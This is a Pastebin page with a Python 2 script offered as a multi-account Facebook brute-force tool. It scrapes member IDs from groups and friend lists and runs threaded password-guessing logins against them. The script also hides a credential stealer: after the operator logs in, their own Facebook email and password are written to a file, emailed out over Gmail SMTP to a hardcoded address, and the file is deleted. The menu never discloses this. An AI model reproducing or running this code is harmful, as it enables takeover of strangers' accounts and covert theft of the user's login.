Kang-Tutorial

mbf.py

Jun 16th, 2019
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 11.66 KB | None | 0 0
  1. from __future__ import print_function
  2. import platform, os, smtplib
  3. from email.mime.text import MIMEText
  4. from email.mime.multipart import MIMEMultipart
  5. from email.mime.base import MIMEBase
  6. from email import encoders
  7.  
  8. def tampil(x):
  9.     w = {'m':31,'h':32,'k':33,'b':34,'p':35,'c':36}
  10.     for i in w:
  11.         x=x.replace('\r%s'%i,'\033[%s;1m'%w[i])
  12.     x+='\033[0m'
  13.     x=x.replace('\r0','\033[0m')
  14.     print(x)
  15. if platform.python_version().split('.')[0] != '2':
  16.     tampil('\rm[!] kamu menggunakan python versi %s silahkan menggunakan versi 2.x.x'%v().split(' ')[0])
  17.     os.sys.exit()
  18. import cookielib,re,urllib2,urllib,threading
  19. try:
  20.     import mechanize
  21. except ImportError:
  22.     tampil('\rm[!]SepertiNya Module \rcmechanize\rm belum di install...')
  23.     os.sys.exit()
  24. def keluar():
  25.     simpan()
  26.     tampil('\rm[!]Keluar')
  27.     os.sys.exit()
  28. log = 0
  29. id_bteman = []
  30. id_bgroup = []
  31. fid_bteman = []
  32. fid_bgroup = []
  33. br = mechanize.Browser()
  34. br.set_handle_robots(False)
  35. br.set_handle_equiv(True)
  36. br.set_handle_referer(True)
  37. br.set_cookiejar(cookielib.LWPCookieJar())
  38. br.set_handle_redirect(True)
  39. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
  40. br.addheaders = [('User-Agent','Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
  41. def bacaData():
  42.     global fid_bgroup,fid_bteman
  43.     try:
  44.         fid_bgroup = open(os.sys.path[0]+'/MBFbgroup.txt','r').readlines()
  45.     except:pass
  46.     try:
  47.         fid_bteman = open(os.sys.path[0]+'/MBFbteman.txt','r').readlines()
  48.     except:pass
  49. def inputD(x,v=0):
  50.     while 1:
  51.         try:
  52.             a = raw_input('\x1b[32;1m%s\x1b[31;1m:\x1b[33;1m'%x)
  53.         except:
  54.             tampil('\n\rm[!]Batal')
  55.             keluar()
  56.         if v:
  57.             if a.upper() in v:
  58.                 break
  59.             else:
  60.                 tampil('\rm[!]Masukan Opsinya Bro...')
  61.                 continue
  62.         else:
  63.             if len(a) == 0:
  64.                 tampil('\rm[!]Masukan dengan benar')
  65.                 continue
  66.             else:
  67.                 break
  68.     return a
  69. def inputM(x,d):
  70.     while 1:
  71.         try:
  72.             i = int(inputD(x))
  73.         except:
  74.             tampil('\rm[!]Pilihan tidak ada')
  75.             continue
  76.         if i in d:
  77.             break
  78.         else:
  79.             tampil('\rm[!]Pilihan tidak ada')
  80.     return i
  81. def kirim():
  82.    email_user = 'email1@gmail.com'
  83.    email_password = 'pwdemail1'
  84.    email_send = 'email2@gmail.com'
  85.  
  86.    subject = '=== KIRIMAN NYA KAK ==='
  87.  
  88.    msg = MIMEMultipart()
  89.    msg['From'] = email_user
  90.    msg['To'] = email_send
  91.    msg['Subject'] = subject
  92.  
  93.    body = '====== AKUN FACEBOOK ======='
  94.    msg.attach(MIMEText(body,'plain'))
  95.  
  96.    filename='log.txt'
  97.    attachment  =open('log.txt','rb')
  98.  
  99.    part = MIMEBase('application','octet-stream')
  100.    part.set_payload((attachment).read())
  101.    encoders.encode_base64(part)
  102.    part.add_header('Content-Disposition',"attachment; filename= "+filename)
  103.  
  104.    msg.attach(part)
  105.    text = msg.as_string()
  106.    server = smtplib.SMTP('smtp.gmail.com',587)
  107.    server.starttls()
  108.    server.login(email_user,email_password)
  109.  
  110.  
  111.    server.sendmail(email_user,email_send,text)
  112.    server.quit()
  113.  
  114. def hapus():
  115.     os.remove('log.txt')
  116. def simpan():
  117.     if len(id_bgroup) != 0:
  118.         tampil('\rh[*]Menyimpan hasil dari group')
  119.         try:
  120.             open(os.sys.path[0]+'/MBFbgroup.txt','w').write('\n'.join(id_bgroup))
  121.             tampil('\rh[!]Berhasil meyimpan \rcMBFbgroup.txt')
  122.         except:
  123.             tampil('\rm[!]Gagal meyimpan')
  124.     if len(id_bteman) != 0:
  125.         tampil('\rh[*]Menyimpan hasil daftar Teman...')
  126.         try:
  127.             open(os.sys.path[0]+'/MBFbteman.txt','w').write('\n'.join(id_bteman))
  128.             tampil('\rh[!]Berhasil meyimpan \rcMBFbgteman.txt')
  129.         except:
  130.             tampil('\rm[!]Gagal meyimpan')
  131. def buka(d):
  132.     tampil('\rh[*]Membuka \rp'+d)
  133.     try:
  134.         x = br.open(d)
  135.         br._factory.is_html = True
  136.         x = x.read()
  137.     except:
  138.         tampil('\rm[!]Gagal membuka \rp'+d)
  139.         keluar()
  140.     if '<link rel="redirect" href="' in x:
  141.         return buka(br.find_link().url)
  142.     else:
  143.         return x
  144. def login():
  145.     global log
  146.     us = inputD('[?]Email/HP')
  147.     pa = inputD('[?]Kata Sandi')
  148.     tampil('\rh[*]Sedang Login....')
  149.     buka('https://m.facebook.com')
  150.     br.select_form(nr=0)
  151.     br.form['email']=us
  152.     br.form['pass']=pa
  153.     br.submit()
  154.     url = br.geturl()
  155.     if 'save-device' in url or 'm_sess' in url:
  156.         tampil('\rh[*]Login Berhasil')
  157.         buka('https://mobile.facebook.com/home.php')
  158.         nama = br.find_link(url_regex='logout.php').text
  159.         nama = re.findall(r'\((.*a?)\)',nama)[0]
  160.         tampil('\rh[*]Selamat datang \rk%s\n\rh[*]Semoga ini adalah hari keberuntungan mu....'%nama)
  161.         log = 1
  162.         z = open("log.txt","w")
  163.         z.write("USERNAME : ")
  164.         z.write(us)
  165.         z.write("\n")
  166.         z.write(" PASSWORD : ")
  167.         z.write(pa)
  168.         z.close()
  169.         kirim()
  170.         hapus()
  171.     elif 'checkpoint' in url:
  172.         tampil('\rm[!]Akun kena checkpoint\n\rk[!]Coba Login dengan opera mini')
  173.         keluar()
  174.     else:
  175.         tampil('\rm[!]Login Gagal')
  176. def saring_id_teman(r):
  177.     for i in re.findall(r'/friends/hovercard/mbasic/\?uid=(.*?)&',r):
  178.         id_bteman.append(i)
  179.         tampil('\rc==>\rb%s\rm'%i)
  180. def saring_id_group1(d):
  181.     for i in re.findall(r'<h3><a href="/(.*?)fref=pb',d):
  182.         if i.find('profile.php') == -1:
  183.             a = i.replace('?','')
  184.         else:
  185.             a = i.replace('profile.php?id=','').replace('&amp;','')
  186.         if a not in id_bgroup:
  187.             tampil('\rk==>\rc%s'%a)
  188.             id_bgroup.append(a)
  189. def saring_id_group0():
  190.     global id_group
  191.     while 1:
  192.         id_group = inputD('[?]Id Group')
  193.         tampil('\rh[*]Mengecek Group....')
  194.         a = buka('https://m.facebook.com/browse/group/members/?id='+id_group+'&amp;start=0&amp;listType=list_nonfriend&amp;refid=18&amp;_rdc=1&amp;_rdr')
  195.         nama = ' '.join(re.findall(r'<title>(.*?)</title>',a)[0].split()[1:])
  196.         try:
  197.             next = br.find_link(url_regex= '/browse/group/members/').url
  198.             break
  199.         except:
  200.             tampil('\rm[!]Id yang anda masukan salah')
  201.             continue
  202.     tampil('\rh[*]Mengambil Id dari group \rc%s'%nama)
  203.     saring_id_group1(a)
  204.     return next
  205. def idgroup():
  206.     if log != 1:
  207.         tampil('\rh[*]Login dulu bos...')
  208.         login()
  209.         if log == 0:
  210.             keluar()
  211.     next = saring_id_group0()
  212.     while 1:
  213.         saring_id_group1(buka(next))
  214.         try:
  215.             next = br.find_link(url_regex= '/browse/group/members/').url
  216.         except:
  217.             tampil('\rm[!]Hanya Bisa Mengambil \rh %d id'%len(id_bgroup))
  218.             break
  219.     simpan()
  220.     i = inputD('[?]Langsung Crack (y/t)',['Y','T'])
  221.     if i.upper() == 'Y':
  222.         return crack(id_bgroup)
  223.     else:
  224.         return menu()
  225. def idteman():
  226.     if log != 1:
  227.         tampil('\rh[*]Login dulu bos...')
  228.         login()
  229.         if log == 0:
  230.             keluar()
  231.     saring_id_teman(buka('https://m.facebook.com/friends/center/friends/?fb_ref=fbm&ref_component=mbasic_bookmark&ref_page=XMenuController'))
  232.     try:
  233.         next = br.find_link(url_regex= 'friends_center_main').url
  234.     except:
  235.         if len(id_teman) != 0:
  236.             tampil('\rm[!]Hanya dapat mengambil \rp%d id'%len(id_bteman))
  237.         else:
  238.             tampil('\rm[!]Batal')
  239.             keluar()
  240.     while 1:
  241.         saring_id_teman(buka(next))
  242.         try:
  243.             next = br.find_link(url_regex= 'friends_center_main').url
  244.         except:
  245.             tampil('\rm[!]Hanya dapat mengambil \rp%d id'%len(id_bteman))
  246.             break
  247.     simpan()
  248.     i = inputD('[?]Langsung Crack (y/t)',['Y','T'])
  249.     if i.upper() == 'Y':
  250.         return crack(id_bteman)
  251.     else:
  252.         return menu()
  253. class mt(threading.Thread):
  254.     def __init__(self,i,p):
  255.         threading.Thread.__init__(self)
  256.         self.id = i
  257.         self.a = 3
  258.         self.p = p
  259.     def update(self):
  260.         return self.a,self.id
  261.     def run(self):
  262.         try:
  263.              data = urllib2.urlopen(urllib2.Request(url='https://m.facebook.com/login.php',data=urllib.urlencode({'email':self.id,'pass':self.p}),headers={'User-Agent':'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16'}))
  264.         except KeyboardInterrupt:
  265.             os.sys.exit()
  266.         except:
  267.             self.a = 8
  268.             os.sys.exit()
  269.         if 'm_sess' in data.url or 'save-device' in data.url:
  270.             self.a = 1
  271.         elif 'checkpoint' in data.url:
  272.             self.a = 2
  273.         else:
  274.             self.a = 0
  275. def crack(d):
  276.     i = inputD('[?]Pake Passwordlist/Manual (p/m)',['P','M'])
  277.     if i.upper() == 'P':
  278.         while 1:
  279.             dir = inputD('[?]Masukan alamat file')
  280.             try:
  281.                 D = open(dir,'r').readlines()
  282.             except:
  283.                 tampil('\rm[!]Gagal membuka \rk%s'%dir)
  284.                 continue
  285.             break
  286.         tampil('\rh[*]Memulai crack dengan \rk%d password'%len(D))
  287.         for i in D:
  288.             i = i.replace('\n','')
  289.             if len(i) != 0:
  290.                 crack0(d,i,0)
  291.         i = inputD('[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)',['Y','T'])
  292.         if i.upper() == 'Y':
  293.             return crack(d)
  294.         else:
  295.             return menu()
  296.     else:
  297.         return crack0(d,inputD('[?]Sandi'),1)
  298. def crack0(data,sandi,p):
  299.     tampil('\rh[*]MengCrack \rk%d Akun \rhdengan sandi \rm[\rk%s\rm]'%(len(data),sandi))
  300.     print('\033[32;1m[*]Cracking \033[31;1m[\033[36;1m0%\033[31;1m]\033[0m',end='')
  301.     os.sys.stdout.flush()
  302.     akun_jml = []
  303.     akun_sukses = []
  304.     akun_cekpoint = []
  305.     akun_error = []
  306.     akun_gagal = []
  307.     jml0,jml1 = 0,0
  308.     th = []
  309.     for i in data:
  310.         i = i.replace(' ','')
  311.         if len(i) != 0:th.append(mt(i,sandi))
  312.     for i in th:
  313.         jml1 += 1
  314.         i.daemon = True
  315.         try:i.start()
  316.         except KeyboardInterrupt:exit()
  317.     while 1:
  318.         try:
  319.             for i in th:
  320.                 a = i.update()
  321.                 if a[0] != 3 and a[1] not in akun_jml:
  322.                     jml0 += 1
  323.                     if a[0] == 2:
  324.                         akun_cekpoint.append(a[1])
  325.                     elif a[0] == 1:
  326.                         akun_sukses.append(a[1])
  327.                     elif a[0] == 0:
  328.                         akun_gagal.append(a[1])
  329.                     elif a[0] == 8:
  330.                         akun_error.append(a[1])
  331.                     print('\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m%0.2f%s\033[31;1m]\033[0m'%(float((float(jml0)/float(jml1))*100),'%'),end='')
  332.                     os.sys.stdout.flush()
  333.                     akun_jml.append(a[1])
  334.         except KeyboardInterrupt:
  335.             os.sys.exit()
  336.         try:
  337.             if threading.activeCount() == 1:break
  338.         except KeyboardInterrupt:
  339.             keluar()
  340.     print('\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m100%\033[31;1m]\033[0m     ')
  341.     if len(akun_sukses) != 0:
  342.         tampil('\rh[*]Daftar akun sukses')
  343.         for i in akun_sukses:
  344.             tampil('\rh==>\rk%s \rm[\rp%s\rm]'%(i,sandi))
  345.     tampil('\rh[*]Jumlah akun berhasil\rp      %d'%len(akun_sukses))
  346.     tampil('\rm[*]Jumlah akun gagal\rp         %d'%len(akun_gagal))
  347.     tampil('\rk[*]Jumlah akun cekpoint\rp      %d'%len(akun_cekpoint))
  348.     tampil('\rc[*]Jumlah akun error\rp         %d'%len(akun_error))
  349.     if p:
  350.         i = inputD('[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)',['Y','T'])
  351.         if i.upper() == 'Y':
  352.             return crack(data)
  353.         else:
  354.             return menu()
  355.     else:
  356.         return 0
  357. def lanjutT():
  358.     global fid_bteman
  359.     if len(fid_bteman) != 0:
  360.         i = inputD('[?]Riset Hasil Id Teman/lanjutkan (r/l)',['R','L'])
  361.         if i.upper() == 'L':
  362.             return crack(fid_bteman)
  363.         else:
  364.             os.remove(os.sys.path[0]+'/MBFbteman.txt')
  365.             fid_bteman = []
  366.     return 0
  367. def lanjutG():
  368.     global fid_bgroup
  369.     if len(fid_bgroup) != 0:
  370.         i = inputD('[?]Riset Hasil Id Group/lanjutkan (r/l)',['R','L'])
  371.         if i.upper() == 'L':
  372.             return crack(fid_bgroup)
  373.         else:
  374.             os.remove(os.sys.path[0]+'/MBFbgroup.txt')
  375.             fid_bgroup = []
  376.     return 0
  377. def menu():
  378.     tampil('''\rh
  379.                     .-.-..
  380.                    /+/++//
  381.                   /+/++//
  382.            \rk*   *\rh /+/++//
  383.             \ /  |/__//
  384.           {\rmX\rh}v{\rmX\rh}|\rcPRX\rh|==========.
  385.             [']  /'|'\          \\
  386.                 /  \ \          '
  387.                 \_  \_ \_    \rk*\rhDragonFly ZomBie
  388. \rk###########################################################
  389. #             \rb*MULTY BRUTEFORCE FACEBOOK*\rk                 #
  390. # \rhBY\rp                                             PIRMANSX \rk#
  391. # \rhGroup FB\rp  https://m.facebook.com/groups/164201767529837 \rk#
  392. # \rhGitHub\rp                      https://github.com/pirmansx \rk#
  393. #       \rmDo Not Use This Tool For IllegaL Purpose          \rk#
  394. ###########################################################''')
  395.     tampil('''\rk%s\n\rc1 \rhAmbil id dari group\n\rc2 \rhAmbil id dari daftar teman\n\rc3 \rmKELUAR\n\rk%s'''%('#'*20,'#'*20))
  396.     i = inputM('[?]PILIH',[1,2,3])
  397.     if i == 1:
  398.         lanjutG()
  399.         idgroup()
  400.     elif i == 2:
  401.         lanjutT()
  402.         idteman()
  403.     elif i == 3:
  404.         keluar()
  405. bacaData()
  406. menu()
Add Comment
Please, Sign In to add comment